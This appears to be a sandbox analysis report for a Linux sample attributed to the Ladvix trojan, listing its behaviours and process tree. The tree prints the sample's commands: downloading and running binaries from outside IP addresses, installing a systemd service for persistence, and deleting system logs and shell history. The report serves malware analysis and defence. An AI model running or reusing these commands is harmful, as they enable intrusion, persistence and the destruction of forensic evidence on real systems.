Overview

overview

10

Static

static

1

boss

ubuntu-18.04-amd64

10

Analysis

  • max time kernel
    1s
  • max time network
    146s
  • platform
    ubuntu-18.04_amd64
  • resource
    ubuntu1804-amd64-20260513-en
  • resource tags

    arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
  • submitted
    13/08/2026, 12:18

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    boss
  • Size 2.3MB
  • Sample260813-pg1s5syscz
  • SHA256 d4071813870a7e1b68e622dc6afc573cc67c937bbd0164873a87dfd1afb96cc0
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryladvixinfectorpersistenceprivilege_escalationtrojan

Malware Config

Signatures

  • Family: Ladvix

    Ladvix is a linux trojan and file infector first seen in 2022.

    trojaninfectorladvix
  • ladvix 1 IoCs

    Detects Ladvix payload

  • File and Directory Permissions Modification 1 TTPs 4 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

    defense_evasion
  • Deletes log files 1 TTPs 4 IoCs

    Deletes log files on the system.

    defense_evasion
  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Modifies systemd 2 TTPs 1 IoCs

    Adds/ modifies systemd service files. Likely to achieve persistence.

    persistenceprivilege_escalation
  • Write file to user bin folder 1 IoCs
    persistence
  • Reads CPU attributes 1 TTPs 2 IoCs
    discovery
  • Enumerates kernel/hardware configuration 1 TTPs 1 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

    discovery
  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

    discovery
  • System Network Configuration Discovery 1 TTPs 1 IoCs

    Adversaries may gather information about the network configuration of a system.

    discovery
  • Writes file to tmp directory 1 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/boss
    /tmp/boss
    1⤵
    • Modifies systemd
    • Enumerates kernel/hardware configuration
    • Writes file to tmp directory
    PID:1487
    • /bin/uname
      uname -m
      2⤵
        PID:1491
      • /bin/bash
        bash -c "cd /usr/bin && curl -LO http://2.57.241.243/ip/log && chmod +x log"
        2⤵
        • File and Directory Permissions Modification
        PID:1492
        • /usr/bin/curl
          curl -LO http://2.57.241.243/ip/log
          3⤵
          • Write file to user bin folder
          • System Network Configuration Discovery
          PID:1493
      • /bin/chmod
        chmod +x log
        2⤵
        • File and Directory Permissions Modification
        PID:1492
      • /bin/systemctl
        systemctl daemon-reload
        2⤵
        • Reads runtime system information
        PID:1503
      • /bin/systemctl
        systemctl enable log
        2⤵
          PID:1524
        • /bin/systemctl
          systemctl start log
          2⤵
          • Reads runtime system information
          PID:1545
        • /usr/bin/pgrep
          pgrep -x log
          2⤵
          • Reads CPU attributes
          • Reads runtime system information
          PID:1548
        • /bin/bash
          bash -c "cd /var/log && rm -rf auth.log wtmp lastlog btmp; cd /var/run && rm -rf utmp; history -c; cd && rm -rf .bash_history"
          2⤵
            PID:1552
            • /bin/rm
              rm -rf auth.log wtmp lastlog btmp
              3⤵
              • Deletes log files
              PID:1554
            • /bin/rm
              rm -rf utmp
              3⤵
                PID:1557
            • /bin/bash
              bash -c "unalias -a 2>/dev/null"
              2⤵
                PID:1559
              • /bin/bash
                bash -c "cd /var/tmp && rm -rf *"
                2⤵
                  PID:1561
                • /bin/rm
                  rm -rf systemd-private-4fea9e29a94141e08e4e0ac78e44566b-bolt.service-6Q5Bya systemd-private-4fea9e29a94141e08e4e0ac78e44566b-colord.service-OJESei systemd-private-4fea9e29a94141e08e4e0ac78e44566b-ModemManager.service-gtrERn systemd-private-4fea9e29a94141e08e4e0ac78e44566b-systemd-resolved.service-U0WVnA systemd-private-4fea9e29a94141e08e4e0ac78e44566b-systemd-timedated.service-oP7TMH
                  2⤵
                    PID:1561
                  • /bin/bash
                    bash -c "history -c ; if [ ! -f /var/tmp/cli ]; then wget -O /var/tmp/cli 'http://176.65.139.211/cli' && chmod +x /var/tmp/cli; fi; pgrep -af '/var/tmp/cli' || /var/tmp/cli start accept --token 'gctoEEMdAXqOy7az1sam0E0a00fjZLaZ/6JcDtAWms8=' > /dev/null 2>&1 & disown"
                    2⤵
                    • File and Directory Permissions Modification
                    PID:1562
                    • /usr/bin/wget
                      wget -O /var/tmp/cli http://176.65.139.211/cli
                      3⤵
                        PID:1563
                      • /bin/chmod
                        chmod +x /var/tmp/cli
                        3⤵
                        • File and Directory Permissions Modification
                        PID:1564
                      • /usr/bin/pgrep
                        pgrep -af /var/tmp/cli
                        3⤵
                        • Reads CPU attributes
                        • Reads runtime system information
                        PID:1566

                  Network

                        MITRE ATT&CK Enterprise v16

                        Replay Monitor

                        Loading Replay Monitor...

                        Downloads

                        log.service
                        • Path /etc/systemd/system/log.service
                        • Size 255B
                        • SHA256 131a404d74f32a6cb598a41277a60f6ecbe1e1ac25cc80f3af145fef722cf0f6
                        • MD5 SHA1 SHA512 TLSH
                        Submit Download

                        log
                        • Path /usr/bin/log
                        • Size 27KB
                        • SHA256 31084551fd7393dcbdb21905d725435a8a3f12ea93251d18fedec11b13f7e4ef
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download

                        cli
                        • Path /var/tmp/cli
                        • Size 2.6MB
                        • SHA256 c21fa4c1d6ed5342e49ef0561cc566a2cbe06a83f6298374fe9cb4f8027b6911
                        • MD5 SHA1 SHA512 SSDEEP TLSH
                        Submit Download